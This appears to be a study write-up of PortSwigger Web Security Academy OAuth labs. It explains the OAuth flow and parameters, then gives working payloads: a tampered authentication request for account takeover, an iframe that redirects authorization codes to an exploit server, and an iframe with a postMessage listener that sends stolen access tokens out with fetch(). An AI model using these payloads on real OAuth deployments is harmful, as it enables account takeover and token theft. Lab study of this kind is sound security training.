PortSwigger: OAuth
Properties
Instead of manually entering PII data, the user can click on sign in with Google and the website will request your PII from Google on your behalf and use it to sign you up.
Entities in OAuth:
- Client Application
- Resource Owner
- OAuth Service provider
There are different types of OAuth flows or grant types.
- Authorization code (
response_type=code) - implicit grant (
response_type=token)
- The client application requests access to a subset of the user’s data, specifying which grant type they want to use and what kind of access they want.
- The user is prompted to log in to the OAuth service and explicitly give their consent for the requested access.
- The client application receives a unique access token that proves they have permission from the user to access the requested data. Exactly how this happens varies significantly depending on the grant type.
- The client application uses this access token to make API calls fetching the relevant data from the resource server.
The following parameters are involved in an OAuth request:
client_secret: A secret shared with the client when it registers itself with the OAuth servicescope: defines the scope of the data requested, i.e., contact info, email address, MSISDNauthorization code: If the user clicks on allow this app on the Google page, Google gives this code to the applicationaccess token: The app then gives the authorization token to Google and it gives the access_token- The access token is then finally used in the API call to get the requested scope info
state: unguessable value passed in the requestgrant_type: Type of OAuth flow being usedredirect_uri: The URI which the user browser will redirect to when sending authorization code to the client application
Diagram of the full flow: PortSwigger’s authorization code grant type.
OAuth can be used for Authentication as well, by using the same access token (given by OAuth service) on the client application
Check the OAuth provider being used by the website, most of these providers have publicly available documentation.
Lab: Authentication bypass via OAuth implicit flow
Simple authentication bypass. In the below request we changed the username and email to carlos and the OAuth flow which led to account takeover.
POST /authenticate HTTP/2
Host: 0a7800ed0329f210820b1f29000100ec.web-security-academy.net
Cookie: session=[redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a7800ed0329f210820b1f29000100ec.web-security-academy.net/oauth-callback
Content-Type: application/json
Content-Length: 103
Origin: https://0a7800ed0329f210820b1f29000100ec.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
{"email":"wiener@hotdog.com","username":"wiener","token":"3xGux18fKGtaTDhpfUWIQghPbfjXwJHKywGlpcduSnT"}
Leaking authorization codes and access tokens
In this lab we observed that the redirect_url parameter in OAuth could be used to submit any arbitrary value without any issue.
https://oauth-0ad000e0042feecab57ec0dc02fd0009.oauth-server.net/auth?client_id=zhbq6777jywbiwa3krxnk&redirect_uri=https://exploit-0a770084041bee20b566c1d601190087.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email
So we added the URL of our exploit server to the link and sent this iframe to the victim.
<iframe src="https://oauth-0ad000e0042feecab57ec0dc02fd0009.oauth-server.net/auth?client_id=zhbq6777jywbiwa3krxnk&redirect_uri=https://exploit-0a770084041bee20b566c1d601190087.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
The victim clicked on this iframe, which led to the victim sharing their authorization token with us. We used this token to log in to their account.
Stealing OAuth access tokens via a proxy page
The goal here is to leak the authorization token to an attacker controlled page or server.
First we identified a path traversal vulnerability in the redirect_uri parameter.
https://oauth-0a3f00be03dddb7e804d790602a0002c.oauth-server.net/auth?client_id=r530xxhu0zxix98omzwqg&redirect_uri=https://0ac400e30362dbb380697baf00420095.web-security-academy.net/oauth-callback/../&response_type=token&nonce=1073277704&scope=openid%20profile%20email
We leverage this path traversal with a post message we found in the code. This postmessage allowed messages to be posted to any origin.
Final payload:
<iframe src="https://oauth-0a3f00be03dddb7e804d790602a0002c.oauth-server.net/auth?client_id=r530xxhu0zxix98omzwqg&redirect_uri=https://0ac400e30362dbb380697baf00420095.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1295109921&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener('message',function(e){
fetch("/"+encodeURIComponent(e.data.data))
}, false)
</script>
This exploit is delivered to the victim which gives us the token.